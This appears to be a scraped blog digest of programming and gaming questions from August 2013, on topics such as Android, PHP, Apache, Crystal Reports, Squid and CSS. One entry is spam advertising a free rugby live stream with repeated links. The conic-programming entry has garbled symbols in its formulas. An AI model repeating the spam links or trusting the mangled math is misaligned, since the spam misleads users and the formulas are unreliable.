we can ensure the local smallness of $T$. But how is that since $[\mathbf
C, \mathbf{Sets}]$ is not a priori locally small ? Or is $T$ locally small
in the algebraic cases because of the left adjoint of $U$ which makes it
representable ?

Thursday, August 22, 2013

Does the looting enchantment affect drops from players?

Does the looting enchantment affect drops from players?

I have been playing on a multiplayer server and I was wondering if I could
enchant my sword with looting to get extra drops from players.
Btw, I'm not sure if looting effects the amount of items dropped or the
chance of drop rate. If it only effects the chance then looting wouldn't
work on players. I really doubt that looting would affect the amount of
items dropped but I have a looting Diamond Sword and would like to kill
people.

Setting up Android Project / Eclipse

Setting up Android Project / Eclipse

pI'm trying to learn Java for android application and so far I'm following
a youtube tutorial. Since the guy posted it in 2011, some people in the
comment section talked about skipping some steps because of the new
ATP-bundle./p pHere's the video I'm referring to: a
href=https://www.youtube.com/watch?v=Da1jlmwuW_w
rel=nofollowhttps://www.youtube.com/watch?v=Da1jlmwuW_w/a/p
pIn this video
the guy is installing SDK-manager and ATP-plugins, as recommended here a
href=http://developer.android.com/training/basics/firstapp/index.html
rel=nofollowhttp://developer.android.com/training/basics/firstapp/index.html/a.
So what I'm wondering is if I can skip these steps and move on to creating
an application project with the ATP-bundle?/p pAnother question I have is
if the rest of his videos are outdated and if I should find another source
of tutorial? /p

The Boethiahs calling quest

The Boethiahs calling quest

I've killed all the botheah followers at the shrine before I get to make
the sacrifice, is that why I can't activate the pillar?

Modelling rational power functions as cones for conic quadratic programming

Modelling rational power functions as cones for conic quadratic programming

It's quite easy to find documentation online that shows that conic
quadratic programming can be used with functions that have ration powers,
such as x^(3/2). example
I can also find examples of these functions actually being modelled as
cones, for instance here in appendex B is x^(3/2)
However, what I cannot find is an explanation of how you come up with the
cones to model an arbitrary ration power function. Is there an algorithm?
Is it pulled from thin air?
For clarity, here is the example in appendix B above of X^(3/2).
Model |x|^3/2 ¡Ü t
as a conic quadratic constraint.
We initially represent it as
&#8722;z ¡Ü x ¡Ü z,
z^2
¡Ìz ¡Ü t, z ¡Ý 0
using an additional variable z. The only non-linear constraint is z^2/¡Ìz
¡Ü t, which can be
represented equivalently as
z^2 ¡Ü 2st
w^2 ¡Ü 2vr
z = v
s = w
r = 1
8
s, t, v, r ¡Ý 0,
But there is no discussion of how to get from point A to point B and I
haven't really found it discussed anywhere that I can understand...

Scanf function not accepting input

Scanf function not accepting input

I am working on a simple C program using a struct named 'student'. Here is
my code
#include<stdio.h>
#include<stdlib.h>
struct student {
char name[50];
int id;
float marks_1;
float marks_2;
};
void main(){
int num,a,i;
printf("Enter number of students\n");
scanf("%d",&num);
struct student s[num];
for(i=0;i<num;i++)
{
a=i+1;
printf("Enter name of student number %d\n",a);
scanf("%[^\n]%*c",s[i].name);
}
}
When I run the program I am able to enter the number of students
correctly, but after that I am not able to enter the name corresponding to
each student. This is the output that I get.
Enter number of students
2
Enter name of student number 1
Enter name of student number 2
RUN FINISHED; exit value 2; real time: 1s; user: 0ms; system: 0ms
What might be the problem? Any help appreciated

How to change the upload directroy in php?

How to change the upload directroy in php?

I have uploaded a Image Data from iPhone app.
I decoded the image Data and tried to save the image in the file.
I'm always receiving an error message as
file href='function.file-put-contents'>function.file-put-contents]: failed
to open stream: Permission denied in.
define('UPLOAD_DIR', '/Applications/XAMPP/xamppfiles/htdocs/temp');
$data = base64_decode($Image);
$file = UPLOAD_DIR . uniqid() . '.png';
$success = file_put_contents($file, $data);
print $success ? $file : 'Unable to save the file.';
$path = $file;

Wednesday, August 21, 2013

301 redrict - ssl https://www.domain.com to https://domain.com without wildcard

301 redrict - ssl https://www.domain.com to https://domain.com without
wildcard

my SSL Certificate only supports domain.com NOT www.domain.com.
So I would like to redrict from https:// www. domain .com to https://
domain .com.
The problem is, it doesnt work. No matter if i try it via. the apache site
config or htaccess. The redrictions from http work perfect.
Is it loading the Certificate first and so if none exists for this domain
it doesnt redrict ?
RewriteEngine On
RewriteCond %{HTTPS} =on
RewriteCond %{HTTP_HOST} ^www\.meinedomain\.de$ [NC]
RewriteRule ^(.*) https://meinedomain.de/$1 [L,R=301]

Hot link prevention for Google cloud storage

Hot link prevention for Google cloud storage

AWS S3 has aws:Referer bucket policy to prevent hot linking. This there
similar bucket policy for Google cloud storage?

How can I write to an xml document with PHP

How can I write to an xml document with PHP

I have searched for a while on how to do this, so finally I just figured I
would ask about it. I need to be able to write to an item to an rss file
(basically xml) and I need a way to use PHP or Javascript to write a new
<item> tag with all of its required child elements, such as title,
description and link. And I also need to get the values that go inside the
new elements in the xml file from a form that passes along with the post
method title, desc and link. Thanks for your cooperation.

Rails - How to create alphabetical system?

Rails - How to create alphabetical system?

I am getting data from my mySQL database with Ruby on Rails like that:
def all_specs
Specialization.order("title ASC").all;
end
Now, I would like to sort this data in the view file like that:
<div class="nav-column">
<h3>A</h3>
<ul class="submenu">
<li><a href="#">All data that has title that starts with A</a></li>
</ul>
</div>
<div class="nav-column">
<h3>A</h3>
<ul class="submenu">
<li><a href="#">All data that has title that starts with B</a></li>
</ul>
</div>
and so on from A-Z
How can I achieve that ?

Best task and time tracking application in web

Best task and time tracking application in web

Are there any good online time task & time tracking tools. which is best
one with good features?

start Splash screen activity

start Splash screen activity

I want to write a code that uses the splash screen .I have written this so
far, but Can anyone tell me what is the missing here!?
here is my main code:
package com.example.splash;
import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;
import android.util.Log;
import android.view.Menu;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
}
and here is my splash activity code:
package com.example.splash;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
public class splashscreen extends Activity {
protected int _splashTime = 5000;
private Thread splashTread;
@Override
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
setContentView(R.layout.splashh);
final splashscreen sPlashScreen = this;
splashTread = new Thread() {
@Override
public void run() {
try {
synchronized(this){
wait(_splashTime);
}
} catch(InterruptedException e) {}
finally {
finish();
Intent i = new Intent();
i.setClass(sPlashScreen,MainActivity.class);
startActivity(i);
//stop();
}
}
};
splashTread.start();
}
The problem is I do not know how to tell my main to go splash activity ,
if I use an intent I would stuck on infinite loop.

how to refresh object tag in aspx page

how to refresh object tag in aspx page

I am embedding the plugin in aspx page and in the java script based on
certain condtion,I need to reload the object tag.
<asp:Content ID="Content1" ContentPlaceHolderID="MainContent" runat="server">
<script src="<%=ConfigurationManager.AppSettings["assets"]%>js/Util.js"
<object name="MyPlugin" id="Myplugin" width="0" height="0"
type="application/x-Myplugin">
</object>
Here in Util.js I need to reload plugin.Please help me reloading the
plugin in java script.

Tuesday, August 20, 2013

C# program keep on running despite no error

C# program keep on running despite no error

Am working in a project where i should give a crystal reports RPT file as
input and get the properties of that report.
But am facing a problem in loading the report itself so i have used
isLoaded() function to check whether the report is loaded or not.
I have used the following code.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Web;
using CrystalDecisions.CrystalReports.Engine;
using CrystalDecisions.Shared;
namespace sampleretreival
{
public partial class Form1 : Form
{
public string flName;
public Form1()
{
InitializeComponent();
Retrieve.Enabled = false;
}
private void listBox1_SelectedIndexChanged(object sender,
EventArgs e)
{
if (lstFiles.SelectedItems.Count > 0)
{
Retrieve.Enabled = true;
}
else
{
Retrieve.Enabled = false;
}
}
private void Browse_Click(object sender, EventArgs e)
{
openFileDialog1 = new OpenFileDialog();
openFileDialog1.Multiselect = false;
openFileDialog1.Filter = "Crystal Report Files | *.rpt";
openFileDialog1.ShowDialog();
flName = openFileDialog1.FileName;
if (flName.Length != 0)
{
lstFiles.Items.Insert(0, flName);
Retrieve.Enabled = true;
}
else
{
MessageBox.Show("Please select the crystal report files
for analysis.", "SAMPLE", MessageBoxButtons.OK,
MessageBoxIcon.Information);
Browse.Focus();
}
}
private void Retrieve_Click(object sender, EventArgs e)
{
int a=1;
ReportDocument rpt = new ReportDocument();
rpt.Load(flName);
int count = 5;
if (rpt.IsLoaded)
{
MessageBox.Show(count.ToString());
}
else
{
MessageBox.Show(a.ToString());
}
}
}
}
After compiling I clicked the Browse button to select the report from the
disk. But when I click Retrieve button,program keep on running. Am not
getting any output or any error.

Squid Proxy process not running

Squid Proxy process not running

Hey community,
some days ago my squid crashed. I'm running squid 2.6 STABLE21 on CentOS.
The output of the "show squid status" command is just
squid dead but pid file exists
starting the service displayed an "OK" but trying to stop the squid
failed. The weird thing is, that the squid service is not listed in the
"Task-Manager"
So I deleted the /var/run/squid.pid file and tried to restart the service,
but I got the following message after executing the command:
squid: ERROR: Could not send signal 0 to process 3618: (3) No such process
Even restarting the system after that changed nothing.
Also I found some interesting stuff in the /var/log/squid/cache.log
2013/08/20 07:57:43| /var/spool/squid/swap.state: (30) Read-only file
system FATAL: storeAufsDirOpenSwapLog: Failed to open swap log. Squid
Cache (Version 2.6.STABLE21): Terminated abnormally
I didn't change anything recently. Why is that a Read-only file system now?
I really hope these error messages make sense to someone of you. Any help
will be highly appreciated!
Rob

Transfer In-App Purchase Content

Transfer In-App Purchase Content

I have hosted content with apple (.pkg file and within are short videos
available as IAP to the user) so far using RW tutorial the code goes as
far as allowing the user to purchase the content and all it does is mark
it with a TICK.
Within the tutorial
(http://www.raywenderlich.com/21081/introduction-to-in-app-purchases-in-ios-6-tutorial)
ray provides the code beneath however it doesnt seem to do anything as
when testing the IAP (non consumable) within my app using a test user....
all it does is let me login with my test user credentials and mark that
purchase with a tick. Now how does the user know what has happened? where
is the content? how can it be accessed by the user within the app?
- (void)provideContentForProductIdentifier:(NSString *)productIdentifier {
[_purchasedProductIdentifiers addObject:productIdentifier];
[[NSUserDefaults standardUserDefaults] setBool:YES
forKey:productIdentifier];
[[NSUserDefaults standardUserDefaults] synchronize];
[[NSNotificationCenter defaultCenter]
postNotificationName:IAPHelperProductPurchasedNotification
object:productIdentifier userInfo:nil];
}
It seems like this code above is unfinished as Ray mentions in the
tutorial that the tutorial is too long and because of that he didnt wanna
add the process of how to download and access the content purchased by the
user.
What can i add to the code so that it shows the downloading progress, and
after the download has finished it transfers the downloads/content
purchased by the user back into the app or specific view controller so
that its accessible to the user?
Please all suggestions are welcome, i have been stuck on this for over two
weeks and have looked everywhere but everyone uses different methods which
when i try them just lead me to having errors upon errors.... if someone
is also willing to help me through chat that would be awesome. Thanks in
advance to the kind soul who does.

OnClick Method Does Not Update TextView

OnClick Method Does Not Update TextView

Every time I click on:
assist_update_btn
I the textview should be update with text from a different string value
however it never appears to do anything when I click assist_update_btn.
Any input is greatly appreciated.
SOURCE:
public void onClick(View v) {
if (v == assist_update_btn) {
// Update button for ICS and up is selected
// Get the TextView in the Assist Update UI
TextView tv = (TextView) findViewById(R.id.apn_app_text_cta2);
String text = "";
CharSequence styledText = text;
switch (mInstructionNumber) {
case 0:
// Retrieve the instruction string resource corresponding the
// 2nd set of instructions
text = String.format(getString(R.string.apn_app_text_instr),
TotalSteps);
styledText = Html.fromHtml(text);
// Update the TextView with the correct set of instructions
tv.setText(styledText);
// Increment instruction number so the correct instructions
// string resource can be retrieve the next time the update
// button is pressed
mInstructionNumber++;
break;
case 1:
text = getString(R.string.apn_app_text_instr2);
styledText = Html.fromHtml(text);
tv.setText(styledText);
// Increment instruction number so the correct instructions
// string resource can be retrieve the next time the update
// button is pressed
mInstructionNumber++;
break;
case 2:
// Final set of instructions-Change to the corresponding
layout
setContentView(R.layout.assist_instructions);
String assistUpdateInstr = String.format(
getString(R.string.apn_app_text_instr3), TotalSteps);
styledText = Html.fromHtml(assistUpdateInstr);
TextView assistInstrText = (TextView)
findViewById(R.id.updated_text);
assistInstrText.setText(styledText);
mAssistInstrButton = (Button)
findViewById(R.id.assist_instr_btn);
mAssistInstrButton.setOnClickListener(this);
}
} else if (v == mAssistInstrButton) {
startActivity(new Intent(Settings.ACTION_APN_SETTINGS));
try {
showNotification();
} catch (SAXException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ParserConfigurationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
finish();
}

MatPlotLib and PyQt plot and additional data to printer

MatPlotLib and PyQt plot and additional data to printer

I have a bar plot and additional data that I am showing in a PyQt
MainWindow. I need to be able to print this plot and data on paper, but
don't know how to go about it.
I know how to save the plot to a pdf using print_figure and then send to a
printer, but this does not allow me to place the additional data on the
same piece of page as the plot. I have looked around and cannot find a way
to get the plot and data to print together. Any suggestions?

Parsing Stackoverflow Posts.xml data dump file crashes the program, gives ascii encoding error

Parsing Stackoverflow Posts.xml data dump file crashes the program, gives
ascii encoding error

I have downloaded Stackoverflow June 2013 data dump and now in the process
of parsing the XML files and storing in MySQL database. I am using Python
ElementTree to do it and it keeps crashing and giving me encoding errors.
Snippet of parse code:
#Parse XML directly from the file path
tree = xml.parse(("post.xml").encode('utf-8').strip())
#Get the root node
row = tree.findall("row")
It's giving me following errors:
'ascii' codec can't encode character u'\u2019' in position 248: ordinal
not in range(128)
I also tried using the following but the problem persists.
.encode('ascii', 'ignore')
Any advise to fix the problem will be appreciated. Also, if anyone has
link to the clean data will also help.
Also, my final goal is to convert the data into RDF, so if anyone has
StackOverflow data dump in RDF format, I'll be grateful.
Thanks in advance!
p.s This is the XML row that causes problem and crashes the program:
<row Id="99" PostTypeId="2" ParentId="88"
CreationDate="2008-08-01T14:55:08.477" Score="2"
Body="&lt;blockquote&gt;&#xD;&#xA; &lt;p&gt;The actual resolution of
gettimeofday() depends on the hardware architecture. Intel processors as
well as SPARC machines offer high resolution timers that measure
microseconds. Other hardware architectures fall back to the system's
timer, which is typically set to 100 Hz. In such cases, the time
resolution will be less accurate.
&lt;/p&gt;&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;&lt;p&gt;I
obtained this answer from &lt;a
href=&quot;http://www.informit.com/guides/content.aspx?g=cplusplus&amp;amp;seqNum=272&quot;
rel=&quot;nofollow&quot;&gt;High Resolution Time Measurement and Timers,
Part I&lt;/a&gt;&lt;/p&gt;" OwnerUserId="25"
LastActivityDate="2008-08-01T14:55:08.477" />

Set up apache Virtual Host to serve static files

Set up apache Virtual Host to serve static files

I'm trying to set up a development environment for a javascript web
application using apache, but I can't seem to do even the simplest of
things, like setting up a virtual host to serve the static html, js, and
other file types.
Here's what I'm trying to do in httpd-vhosts.conf:
<VirtualHost *:80>
ServerAdmin test@localhost
ServerName www.nonlocal-blight.com
ServerAlias www.local-blight.com
DocumentRoot "/Apache24/documents/WebContent"
<Directory "WebContent">
Options Indexes FollowSymLinks
AllowOverride None
Order allow,deny
Allow from all
</Directory>
</VirtualHost>
I've got an index.html file in WebContent, but whether I try to go to
www.local-blight.com, or www.local-blight.com/index.html, I always get
"Oops! Google Chrome could not find [whatever]". I've tried removing the
ServerAlias, a different folders for the Document root, removing the line
Options Indexes FollowSymLinks and everything.
I've tried using httpd.exe -S to check my virtual host configuration, but
so far as I can see, the output looks good:
C:\Apache24\bin>httpd.exe -S
VirtualHost configuration:
*:80 is a NameVirtualHost
default server www.nonlocal-blight.com
(C:/Apache24/conf/extra/httpd-vh
osts.conf:37)
port 80 namevhost www.nonlocal-blight.com
(C:/Apache24/conf/extra/httpd
-vhosts.conf:37)
alias www.local-blight.com
port 80 namevhost www.nonlocal-blight.com
(C:/Apache24/conf/extra/httpd
-vhosts.conf:37)
alias www.local-blight.com
*:443 is a NameVirtualHost
default server localhost (C:/Apache24/conf/extra/httpd-sni.conf:134)
port 443 namevhost localhost
(C:/Apache24/conf/extra/httpd-sni.conf:134
)
port 443 namevhost localhost
(C:/Apache24/conf/extra/httpd-sni.conf:134
)
port 443 namevhost serverone.tld
(C:/Apache24/conf/extra/httpd-sni.conf
:151)
port 443 namevhost serverone.tld
(C:/Apache24/conf/extra/httpd-sni.conf
:151)
port 443 namevhost servertwo.tld
(C:/Apache24/conf/extra/httpd-sni.conf
:166)
port 443 namevhost servertwo.tld
(C:/Apache24/conf/extra/httpd-sni.conf
:166)
ServerRoot: "C:/Apache24"
Main DocumentRoot: "C:/Apache24/documents"
Main ErrorLog: "C:/Apache24/logs/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: u
sing_defaults
Mutex default: dir="C:/Apache24/logs/" mechanism=default
PidFile: "C:/Apache24/logs/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: SRVROOT=/Apache24
Can anyone tell me what I'm doing wrong here?

Monday, August 19, 2013

Show an object's rating with letsrate

Show an object's rating with letsrate

I'm creating a music album review site, where the user posts album reviews
(pins), and will select 1-5 stars to display on the show page. I'm using
the letsrate gem and it works fine to input the stars on the form when
submitting the new pin and editing. Now I need to display that input on
the show page.
When I have <%= @pin.rates %> on the show page, it displays this: [#<Rate
id: 8, rater_id: 1, rateable_id: 36, rateable_type: "Pin", stars: 4.0,
dimension: nil, created_at: "2013-08-19 22:28:36", updated_at: "2013-08-19
22:28:36">]
I need to get that stars: 4.0 to display the four stars. (and not allow
them to be edited in the show view)
This is my rate model:
class Rate < ActiveRecord::Base
belongs_to :rater, :class_name => "User"
belongs_to :rateable, :polymorphic => true
belongs_to :pin
attr_accessible :rate, :dimension
end
I saw this question posted, but it doesn't explain much about how to use
the helper: Displaying Individual User Ratings (letsrate gem)
Any suggestions would be greatly appreciated.

Getting text to display to the left and right of a text-align: center

Getting text to display to the left and right of a text-align: center

Alright so I have
<div id='1'></div>
<div id='2'></div>
<div id='3'></div>
Only one word will go into each div.
and I want to word from #2 to be in the middle of the screen using
text-align: center; with the word in #1 being displayed directly to the
left of #1 and the #3 directly to the right of #2.
I have been trying different css for a while, but to no effect.
Hoping someone has a simple answer.

How to call an external java function with Xalan processor

How to call an external java function with Xalan processor

I'm having trouble to call an external java function in my XSL code with
Xalan processor.
The error I get is :
Exception in thread "main" java.lang.RuntimeException:
java.lang.NoSuchMethodException: For extension function, could not find
method
org.apache.xml.utils.NodeVector.incrementPropertyId([ExpressionContext,]
).
I have a java class named Util.java in the folder where I execute my
compile command.
In my xsl file, I've declared my namespace as follow :
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:java="http://xml.apache.org/xslt/java"
exclude-result-prefixes="java"
xmlns:util="xalan://Util">
And I call my function using :
<xsl:copy-of select="incrementPropertyId(blablabal)"/>
So I suppose my problem comes from my namespace, but what is wrong with it ?
Also, It's a xsl 1.0 stylesheet.
Thanks for your help
Edit :
In my Util.java file, I have no package declared since I'm at the root...
should I add a package Util; definition to my class ?

css : set the height of inner div just by using 'top' and 'bottom' propreties

css : set the height of inner div just by using 'top' and 'bottom' propreties

this is the HTML code :
<div class="container">
<div class="menu">
<div class="target">
</div>
</div>
<div class="main"></div>
</div>
the CSS code :
.container{
position : absolute;
height : 100%;
width : 100%;
background-color : green;
}
.menu{
position : absolute;
top:0;
left :0;
height: 100%;
width : 30%;
background-color : orange;
}
.main{
position : absolute;
top:0;
left : 30%;
height : 100%;
width : 70%;
background-color : blue;
}
.target{
position : relative;
top : 20px;
left : 10%;
height: 70%;
bottom : 100px;
width : 80%;
background-color : pink;
overflow-y : auto;
}
Here is my question : I want to remove the 'height' property in the
'.target' div, so the 'height' of the div will only depends on the 'top'
and 'bottom' properties.
my objective is to have a fixed distance between the bottom of '.menu' and
the bottom of '.target', optionally without specifying the 'height'.
I really hope my question is clear enough, if not jst ask me, the complete
code is at http://jsfiddle.net/dGkFq/3/ .
Thanks very much.

Why is floating point preferred over long for precise tasks?

Why is floating point preferred over long for precise tasks?

Why is float preferred for precision? Couldn't very large integers to
represent the precision that float give and be deterministic across all
machines? For example, an object moving 0.48124 meters in floating point
could instead be represented by an object moving 48124 millimeters in int
or long.

Sunday, August 18, 2013

Android In App purchases not syncing immediately across multiple devices

Android In App purchases not syncing immediately across multiple devices

I purchased an item on one device. Then I go to the other device, launch
the App, but the item's purchase information is still not available for
use on the second device (iabhelper does not return the item when you
query the inventory). Attempting to purchase just shows the "Already
owned" dialog. (I could possibly use this as a point to go ahead and
download the item, but feels weird...)
The only solution that works so far is if I restart the device, then I
immediately see the Download option in my UI (instead of Buy), since
Iabhelper then returns the correct info)
Anybody else face this issue? Is there a workaround which makes it
seamless to the user?

How to connect to a server via Python script and execute a command such as "cd / && ls"

How to connect to a server via Python script and execute a command such as
"cd / && ls"

I need a python script that will connect to a server
via ssh or something ( however python works )
and then execute a command such as
cd / && ls
and print the output.

Connecting SeekBark to MediaPlayer isn't working

Connecting SeekBark to MediaPlayer isn't working

I've been following a tutorial to implement a SeekBar to my app but it
isn't working. Here's how I'm trying to do it.
Run() method:
public void run(){
int currentPosition = 0;
int total = player.getDuration();
sBar.setMax(total);
while (player.isPlaying()) {
try {
Thread.sleep(1000);
currentPosition = player.getCurrentPosition();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
sBar.setProgress(currentPosition);
}
}
sBar is seekbar, I declared a global variable.
Now the problem is that there was nowhere mentioned in the tutorial where
to then call this run method? I tried calling it right after the
MediaPlayer is started but it isn't working.

Maya startup error - Fatal error. Attempting to save in C:/Users/MyUser/AppData/Local/Temp/MyUser.20130818.2028.ma"

Maya startup error - Fatal error. Attempting to save in
C:/Users/MyUser/AppData/Local/Temp/MyUser.20130818.2028.ma"

I have a problem with Autodesk Maya 2014. All the time when I open it I
get this error: "Fatal error. Attempting to save in
C:/Users/Remus/AppData/Local/Temp/Remus.20130818.2028.ma" What I have done
until now:
I removed Maya preferences folder form my Documents
I reinstalled Maya.
I run a RAM test and I get no errors
I removed everything from Temp folder.
I am using Windows 7 x64. The program worked for 2,3 months.
Can you help me, please?

C# Crystal Reports Finding Last Page Number is Very Slow

C# Crystal Reports Finding Last Page Number is Very Slow

I am generating ReportDocument has about 2500 or more pages. When I load
limited number of pages ie 1 to 60 it is fast.
But my Table has more than 2500 records to be displayed in the report. It
shows the Page number 1 Fast.
In Here, When I click the Crystal reports Print Button or Last Page Button
in the Toolbar, It is very Slow takes upto 5 Minutes to load the Print
Dialog
So I tried the Manual Printing like
private void btnPrint_Click(object sender, EventArgs e)
{
btnPrint.Enabled = false;
var report1 = (rptDoc)crView.ReportSource;
PrintDialog dialog1 = new PrintDialog();
dialog1.AllowSomePages = true;
dialog1.AllowPrintToFile = false;
dialog1.PrinterSettings.FromPage = 1;
crView.ShowLastPage(); // Stucks up Here and It takes very Long time
to Retrieve the Page Number.
int pg = crView.GetCurrentPageNumber();
crView.ShowNthPage(1);
dialog1.PrinterSettings.ToPage = pg;
if (dialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
int copies = dialog1.PrinterSettings.Copies;
int fromPage = dialog1.PrinterSettings.FromPage;
int toPage = dialog1.PrinterSettings.ToPage;
bool collate = dialog1.PrinterSettings.Collate;
report1.PrintOptions.PaperOrientation = PaperOrientation.Landscape;
report1.PrintOptions.PrinterName =
dialog1.PrinterSettings.PrinterName;
report1.PrintToPrinter(copies, collate, fromPage, toPage);
}
dialog1.Dispose();
}
How to print Fast the Whole Pages in my CrystalReportViewer.
Thank you for Watching..
Environment : Visual Studio 2008(.NET 3.5) Crystal Reports

How to populate a ManyToMany relationship using YAML on Play Framework 2.1.x

How to populate a ManyToMany relationship using YAML on Play Framework 2.1.x

I have the following ManyToMany (bidirectional) relationship:
@Entity
public class Proposal extends Model {
...
@ManyToMany
public List<Tag> tags;
}
@Entity
public class Tag extends Model {
...
@ManyToMany(mappedBy="tags")
public List<Proposal> taggedProposals;
}
And I want to populate my DB with some test data using a yaml file (to
display later using a simple view). This is part of my yaml file:
...
- &prop2 !!models.Proposal
id: 2
title: Prop2 title
proposer: *user2
- &prop3 !!models.Proposal
id: 3
title: Prop3 title
proposer: *user3
# Tags
- &tag1 !!models.Tag
name: Tag1 name
desc: Tag1 description
taggedProposals:
- *prop1
- &tag2 !!models.Tag
name: Tag2 name
desc: Tag2 description
taggedProposals:
- *prop2
- *prop3
The problem is that when I try to display a Proposal's tags or a Tag's
taggedProposals, the ArrayLists are empty! I tried using square brackets
and commas without success. All the other data is being loaded and
displayed correctly.

How to split the digits to count the no of times it comes in perl

How to split the digits to count the no of times it comes in perl

! /usr/bin/perl
use strict;
use warnings;
my @array = ('0'..'9');
print "Enter the inp No's : ";
while (($inp = <STDIN>) cmp "\n"){
}
angus > perl no.pl Enter the inp No's : 12123213123
I'm trying to find how many times each no comes and the total of all the
digits.How to split each digit and find its occurence

Saturday, August 17, 2013

Inserting text inputted from a form into database, am I doing it securely?

Inserting text inputted from a form into database, am I doing it securely?

With phpMyAdmin I create a MySQL database for usage with a simple form
where the user inputs text and I save it into a table.
I'm not massively experienced with security so I want to make sure I'm
doing things right.
Basically, for accessing the database in code, I created a user with only
privileges to insert into the database. That's it. I log in with that user
in the code to insert the data.
However, in the code I log in with seemingly plain text, which I'm quite
sure is a bad idea. I use new mysqli(...) to log in, and I just supply the
user and password as a string. Is this plain text and a security issue? If
so, how should I be doing it?
And I'm storing user email addresses. I escape the data to prevent
injection attacks, but do I need to store it hashed like I would a
password?
Thanks, I just want to make sure I'm handling the security side of this
appropriately. Is there anything else I should be keeping in mind?

Linux Mint 15: Share internet connection with subnet

Linux Mint 15: Share internet connection with subnet

I want the following setup:
Internet ---- Cable modem
|
|
+--- Router A ---- PC
.
.
(wifi) . . . . [PC, tablet, etc.]
.
.
HTPC Linux Mint 15
| +---- TV
| |
+--- Router B ----+---- PS3
|
+---- Receiver
I currently have internet access at HTPC through wifi from Router A.
I want to have internet access for HTPC and devices after Router B.
As of now I don't care that devices after Router B see devices before
Router B.
I would like to know how to get internet access for devices after Router
B, while keeping internet access of HTPC. HTPC might occasionally pull
internet content through OpenVPN.
I tried [Networks Settings] => [Wired] => [Options] => [IPv4 Settings] =>
[Method:] = "Shared to other computers" on HTPC Linux Mint 15, but it
didn't work. I don't know anymore where to look to find a solution, if
any.

github: grunt with Travis

github: grunt with Travis

It took me some time to get Travis run my jasmine test using grunt. Here
is my .travis.yml file
language: node_js
node_js:
- 0.10
before_script:
- npm install -g grunt-cli
script: grunt test --verbose --force
However, when you do npm init the generated package.json also has a
'scripts' section. Here is a snippet of my package.json file
...
"main": "my-project",
"scripts": {
"test": "grunt test"
},
"repository": {
...
With this package.json grunt works, however, I don't understand why you
have to define your test again for travis in .travis.yml. Is it because I
do something wrong ?

Webkit transition difficulties in Safari

Webkit transition difficulties in Safari

My transition property is working in Chrome and FF but I can't seem to get
it to work in Safari. I was hoping someone could please let me know if
there were any errors in my code? Thanks
transition: width .3s ease, background-color .3s ease;
-webkit-transition: width .3s ease, background-color .3s ease;

Override an inline CSS style

Override an inline CSS style

I'm using Twitter's typeahead script to autosuggest with my search form.
However, the script generates its own CSS styles, which I can't seem to
override. You can see the problem here:
http://bahcalculator.org/dev/nano.php. I tried to create a copy of the
style .tt-hint within my style sheet, but the inline style is overriding
it. How can I make .tt-hint inherit the styles from my form?

Qantas@!! Wallabies vs All Blacks Live Streaming Free Rugby Online Bledisloe Cup On 17=08=2013

Qantas@!! Wallabies vs All Blacks Live Streaming Free Rugby Online
Bledisloe Cup On 17=08=2013

WATCH! Australia vs New Zealand Live Stream Online Rugby Hd Video Tv
Broadcast Link 17th Aug 2013 ((Wallabies vs All Blacks)) Australia vs New
Zealand Live Rugby streaming hd video free online. The Rugby Championship
August 17th , 2013 Watch Rugby Australia vs New Zealand Live Stream.
Welcome to watch Australia vs New Zealand live streaming Rugby match . You
can easily watch the live action of Australia vs New Zealand match on your
pc/laptop.
CLICK HERE TO WATCH LIVE ONLINE
http://sportstvonpc.com/australia-vs-new-zealand-live-stream/
Australia vs New Zealand Live International Rugby Events The Rugby
Championship 2013 Date:Saturday, August 17,Time:16:05 GMT
Bledisloe-Cup-Website-620-x-436 CLICK HERE TO WATCH LIVE ONLINE
http://sportstvonpc.com/australia-vs-new-zealand-live-stream/
Australia Wallabies Vs New Zealand All Blacks Live Stream Rugby When,
where and how to watch Australia Wallabies Vs New Zealand All Blacks live
streaming online Rugby Championship Bledisloe Cup HD broadcast coverage.
Here is Wallabies Vs All Blacks Game Kickoff Time, TV Schedule, Radio
Commentary, Match Odds, Scores, Results, Highlights Videos : New Zealand
All Blacks Vs Australia Wallabies will be played on Saturday 17 August at
ANZ Stadium, Sydney on Saturday. The kickoff time is 20:00 AEST ET. You
can watch All Blacks Vs Wallabies live stream broadcast coverage on Fox TV
Channel.

Friday, August 16, 2013

JQuery can't find my div element

JQuery can't find my div element

I have jquery function in my script file:
function modalpopup(id)
{
var searchid = "\"#" + id + "\"";
var element = $(searchid );
element.dialog({
height: 340,
width: 500,
modal: true
});
}
in my asp.net 2.0 file I have the following:
<a id="_ctl0_MainContentPlaceHolder_DataGrid1__ctl2_HyperLinkInfo"
onclick="modalpopup('_ctl0_MainContentPlaceHolder_DataGrid1__ctl2_details10')">
<img src="../Images/info_icon.PNG" border="0" /></a>
<div id="_ctl0_MainContentPlaceHolder_DataGrid1__ctl2_details10"
title="Dialog Title"
style="display: none;">
<center>
<table class="table_class" cellspacing="1" cellpadding="2"
rules="all" border="1"
id="_ctl0_MainContentPlaceHolder" style="border-style: None;
height: 24px; width: 800px;
font-size: 16px;">
<tr class="table_header_class" style="color: DarkGray;
font-weight: bold; font-size: 16px;
white-space: nowrap">
<td style="white-space: nowrap">
customer details </td>
</tr>
</table>
</center>
</div>
Its look like its a simple jquery job to find the div element but the
jquery result is null!!
What I'm doing wrong here? There is no error format in my html code
Please help

Saturday, August 10, 2013

HTML5's !doctype is messing up my styles

HTML5's !doctype is messing up my styles

I'm currently working on some simple gallery, that should show thumbnails
of a fixed size of 148px.
When I specify <!doctype html> at the very beginning of the file it messes
